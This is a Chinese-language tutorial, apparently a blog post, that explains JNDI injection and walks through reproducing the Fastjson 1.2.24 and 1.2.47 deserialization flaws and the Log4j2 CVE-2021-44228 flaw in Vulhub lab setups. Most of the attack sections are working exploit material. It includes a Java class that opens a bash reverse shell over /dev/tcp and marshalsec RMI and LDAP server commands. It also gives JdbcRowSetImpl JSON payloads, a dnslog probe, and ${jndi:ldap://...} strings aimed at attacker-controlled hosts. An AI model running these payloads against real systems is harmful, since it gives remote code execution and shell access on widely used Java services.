JNDI介绍
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。
简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
JNDI注入原理
JNDI中有两个方法:
- bind() :作用是将名称绑定到对象里面
- lookup() :作用是通过名字检索执行的对象
JNDI
注入简单来说就是在JNDI
接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入
JNDI+RMI
RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
攻击者可以构造payload:rmi://evilserver:9999/payload 来加载恶意的类。
**这里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、com.sun.jndi.cosnaming.object.trustURLCodebase 默认值为 **false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。目标环境需要JDK符合版本,或者将这个属性设置为 true 才能使用 JNDI+RMI注入
具体的利用过程通过fastjson反序列化漏洞来演示
JNDI+LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的跨平台的轻量级目录访问协议。LDAP协议主要用于单点登录SSO(Single Sign on),一个典型案例是:学校的单点登录系统,只需要在这里登录,则教务、WebVPN、校园网等系统都可以直接访问,不需要登录
LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
JDK 6u211,7u201, 8u191, 11.0.1之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
具体的利用过程通过log4j2漏洞来演示
网上有张图就很清晰的标注了利用限制
fastjson 1.2.24 反序列化导致任意命令执行漏洞
简介:fastjson:是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
影响版本:Fastjson<=1.2.24
漏洞原因:反序列未做限制,可以返序列化任意类型的class文件,导致任意代码执行。
环境:JDK1.8.102、Vulhub - Docker
以下是java反序列化相关函数
| 函数 | 作用 |
| --- | --- |
| JSON.toJSONString(Object) | 将对象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 将对象序列化成json格式,并且记录了对象所属的类的信息 |
| JSON.parse(Json) | 将json格式返回为对象(但是反序列化类对象没有@Type时会报错) |
| JSON.parseObject(Json) | 返回对象是com.alibaba.fastjson.JSONObject类 |
| JSON.parseObject(Json,Object class) | 返回对象会根据json中的@Type来决定 |
| JSON.parseObject(Json,User.class,
Feature.SupportNonPublicField) | 会把Json数据对应的类中的私有成员也给还原 |
该漏洞利用方式有两种
- 通过JSON.parseObject()这个函数通过json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl并构造特定的方法达到命令执行
- 通过JNDI注入
本篇文章主要通过JNDI注入分析复现
大概的过程为:首先在本地开启恶意的rmi服务(rmi://evilserver:1099),并绑定恶意类(evilobj),恶意类中存放着可以执行任意命令的java程序。找到fastjson组件入口(一般是传json字符串的地方),传入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}
即可完成漏洞利用。
docker打开环境,可以看到页面是json格式
那么如何判断Fastjson框架呢,有一种简单的方法
抓取一个数据包,修改成POST提交方式,并发送一个不完整的Json数据包,若返回了500报错页面,则该网站是使用了fastjson框架
若无回显也可以使用dnslog判断
{"1_Ry":{"@type":"java.net.Inet4Address","val":"dnslog地址"}}
复现前需要安装指定版本的java,若没安装参考这篇文章kali中安装多版本jdk(注意javac也是一样,不然编译好的class文件也无法利用)
1、上传shell.java,并编译:javac shell.java,然后将shell文件放在http的服务上
(这里的http服务亲测开启kali自带的apache服务不行,我后面使用了python开启http服务)
python -m SimpleHTTPServer //python2
python -m http.server //python3
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
2、下载maven
3、下载mbechler/marshalsec (github.com),下载好后需要将marshalsec项目进行编译
mvn clean package -DskipTests
4、编译好后,借助marshalsec项目制定加载远程类 shell.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.128:8000/#shell" 7777
5、发送payload,调用远程恶意类
{
"1_Ry":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.128:7777/shell",
"autoCommit":true
}
}
终于成功了
总结:此次复现踩了很多坑,但对JNDI+RMI注入的理解也更深刻,此次复现只演示了反弹shelll,更改payload可以执行任意命令这里就不继续演示了,主要有两个坑:一是注意JAVA和JAVAC版本,二是使用python开启http服务。
fastjson 1.2.47远程命令执行漏洞
这里再提一嘴Fastjson 1.2.47反序列化其实就是1.2.24的绕过,1.2.47增加了checkAutoType()函数进行@type字段的检查
具体payload如下,利用方法也是差不多的,这里就不详细演示了
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS地址:端口/Exploit", #这里的Exploit不能变
"autoCommit":true
}
}
(就在写这篇文章的时候Fastjson≤1.2.80又爆出了一个绕过默认autoType关闭限制进行远程命令执行)
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
漏洞成因:Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
环境:vulhub,JDK1.8_102
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
这里还是要再提一下,因为使用的方法是JNDI+LDAP注入的方式,所以JDK版本需要小于6u211,7u201, 8u191, 11.0.1
启动环境后访问8983端口即可看到Apache Solr的后台页面
漏洞复现攻击大致流程如下:
- 首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}。
- 被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
- 此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
- Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
- Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
接下来开始复现
首先使用其作为管理员接口的action参数值发送如下数据包验证是否会解析
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}
在vulnhub中使用了JNDI 注入利用工具 (github.com)进行漏洞利用,这里我还是使用mbechler/marshalsec (github.com)进行复现,步骤和fastjson的差不多
首先还是先使用python启用一个http服务,将shell.java编译成class文件放入http服务上
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.128/9999 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
//do nothing
}
}
}
使用marshalsec搭建Ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.111.128:8000/#shell" 7777
nc监听,反弹shell
${jdni:ldap://192.168.111.128:7777/shell}
总结:JNDI常规注入对JDK版本还是有限制的,但是也有很多高版本的绕过方法,以后有时间会专门写一篇文章记录一下